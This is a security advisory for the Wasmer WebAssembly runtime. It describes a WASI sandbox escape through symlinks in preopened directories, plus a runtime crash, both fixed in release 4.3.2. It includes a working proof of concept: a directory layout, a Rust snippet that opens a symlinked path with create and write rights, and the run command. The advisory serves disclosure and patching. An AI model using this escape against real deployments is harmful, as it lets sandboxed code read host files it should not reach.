Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Affected: crates.io: wasmer

### Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.

### Details

### PoC Setup a filesystem as follows.

``` . ├── outside.file └── preopen └── dir └── file -> ../../outside.file ```

Compile this Rust snippet with `wasi` v0.11 (for the preview1 API).

```rust fn main() { unsafe { let filefd = wasi::path_open( 5, wasi::LOOKUPFLAGS_SYMLINK_FOLLOW, "app/dir/file", wasi::OFLAGS_CREAT, wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE, 0, 0, ) .unwrap(); eprintln!("filefd: {filefd}");

let mut buf = [0u8; 10]; let iovs = [wasi::Iovec { buf: buf.as_mut_ptr(), buf_len: buf.len(), }];

let read = wasi::fd_read(filefd, &iovs).unwrap();

eprintln!("read {read}: {}", String::from_utf8_lossy(&buf)); } } ```

Run the compiled binary with Wasmer preopening `preopen/`:

``` wasmer run --mapdir /app:preopen a.wasm ```

This should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.